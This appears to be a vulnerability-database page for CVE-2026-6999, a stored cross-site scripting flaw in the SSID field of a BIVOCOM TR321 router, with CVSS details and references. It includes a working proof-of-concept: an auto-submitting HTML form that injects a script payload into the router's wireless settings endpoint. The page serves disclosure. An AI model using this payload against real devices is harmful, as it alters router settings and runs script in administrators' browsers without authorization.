CVE-2026-6999

Description

A flaw has been found in BIVOCOM TR321 21.1.1.50. Affected by this vulnerability is an unknown functionality of the component Wireless Setting. This manipulation of the argument Network Name SSID causes cross site scripting. The attack is possible to be carried out remotely. The exploit has been published and may be used. You should upgrade the affected component.

CVSS Details

CVSS Score

2.4

Severity

LOW

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:U/C:N/I:L/A:N

Configurations (Affected Products)

No configuration data available.

BIVOCOM TR321 21.1.1.50

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!--
  PoC for CVE-2026-6999: Stored XSS in BIVOCOM TR321 Wireless Setting
  Description: Injecting JavaScript into the SSID parameter.
-->
<html>
  <body>
    <!-- Simulate the POST request to update wireless settings -->
    <form action="http://target-ip/cgi-bin/wireless_set.cgi" method="POST">
      <input type="hidden" name="ssid" value='"><script>alert("CVE-2026-6999_POC");</script><"'>
      <input type="hidden" name="action" value="save">
    </form>
    <script>
      // Automatically submit the form to demonstrate the vulnerability
      document.forms[0].submit();
    </script>
  </body>
</html>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-6999
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-6999
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-6999/
[4] VulDB https://vuldb.com/cve/CVE-2026-6999
[5] https://vuldb.com/submit/797250
[6] https://vuldb.com/vuln/359558
[7] https://vuldb.com/vuln/359558/cti

Raw JSON Data

JSON

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